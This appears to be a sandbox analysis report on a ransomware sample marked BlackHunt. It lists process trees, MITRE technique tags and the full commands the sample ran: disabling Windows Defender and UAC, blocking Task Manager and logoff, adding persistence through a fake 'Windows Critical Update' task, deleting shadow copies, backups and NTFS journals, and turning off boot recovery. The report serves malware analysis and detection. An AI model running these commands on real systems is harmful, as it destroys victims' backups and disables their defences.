PID 1428 wrote to memory of 1892	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	84
PID 1428 wrote to memory of 4064	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	86
PID 1808 wrote to memory of 3188	1808	cmd.exe	88
PID 4064 wrote to memory of 4948	4064	cmd.exe	89
PID 2528 wrote to memory of 2428	2528	cmd.exe	90
PID 4316 wrote to memory of 3256	4316	cmd.exe	91
PID 1892 wrote to memory of 3300	1892	cmd.exe	172
PID 1428 wrote to memory of 3800	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	93
PID 1428 wrote to memory of 4216	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	95
PID 1428 wrote to memory of 4896	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	97
PID 1428 wrote to memory of 224	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	99
PID 1428 wrote to memory of 4532	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	100
PID 1428 wrote to memory of 4792	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	101
PID 1428 wrote to memory of 4652	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	104
PID 1428 wrote to memory of 1400	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	105
PID 1428 wrote to memory of 1460	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	108
PID 1428 wrote to memory of 1448	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	111
PID 1428 wrote to memory of 2064	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	112
PID 1428 wrote to memory of 1508	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	113
PID 1428 wrote to memory of 1604	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	114
PID 1428 wrote to memory of 3956	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	115
PID 1428 wrote to memory of 332	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	116
PID 1428 wrote to memory of 2476	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	117
PID 1428 wrote to memory of 2608	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	120
PID 1428 wrote to memory of 4640	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	127
PID 1428 wrote to memory of 4920	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	128
PID 1428 wrote to memory of 2780	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	129
PID 1428 wrote to memory of 5080	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	130
PID 1428 wrote to memory of 2016	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	135
PID 1428 wrote to memory of 5112	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	137
PID 1428 wrote to memory of 3096	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	139
PID 1428 wrote to memory of 2024	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	142
PID 1428 wrote to memory of 4260	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	144
PID 3800 wrote to memory of 788	3800	cmd.exe	146
PID 1428 wrote to memory of 1296	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	147
PID 1428 wrote to memory of 2868	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	150
PID 4896 wrote to memory of 2124	4896	cmd.exe	151
PID 4216 wrote to memory of 2980	4216	cmd.exe	185
PID 1428 wrote to memory of 1592	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	154
PID 1428 wrote to memory of 2364	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	156
PID 4792 wrote to memory of 3856	4792	cmd.exe	157
PID 1604 wrote to memory of 5048	1604	cmd.exe	158
PID 2476 wrote to memory of 4476	2476	cmd.exe	160
PID 1428 wrote to memory of 1412	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	161
PID 1428 wrote to memory of 4456	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	164
PID 1400 wrote to memory of 4568	1400	cmd.exe	165
PID 3956 wrote to memory of 2704	3956	cmd.exe	162
PID 1428 wrote to memory of 1252	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	166
PID 1428 wrote to memory of 3268	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	169
PID 5080 wrote to memory of 4004	5080	cmd.exe	170
PID 4652 wrote to memory of 2352	4652	cmd.exe	173
PID 4532 wrote to memory of 4308	4532	cmd.exe	174
PID 1428 wrote to memory of 784	1428	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe	176
PID 3096 wrote to memory of 4832	3096	cmd.exe	177
PID 224 wrote to memory of 4108	224	cmd.exe	175
PID 2780 wrote to memory of 4936	2780	cmd.exe	178
PID 332 wrote to memory of 3104	332	cmd.exe	179
PID 2064 wrote to memory of 2348	2064	cmd.exe	180
PID 2608 wrote to memory of 3572	2608	cmd.exe	182
PID 1460 wrote to memory of 3300	1460	cmd.exe	172
PID 1448 wrote to memory of 908	1448	cmd.exe	181

System policy modification 1 TTPs 6 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
"C:\Users\Admin\AppData\Local\Temp\2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:4308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1508
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:4476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:3572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:6944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:5112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:10716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3096
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe" /F
  2⤵
  PID:2024
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4260
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1296
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2868
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:11988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1592
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2364
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1412
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4456
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1252
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3268
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:14224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:784
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:34820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:28748
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:29016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:28764
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:29096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D N:\
  2⤵
  PID:28796
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D N:\
    3⤵
    - Enumerates connected drives
    PID:24364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:28856
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:35436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:29132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
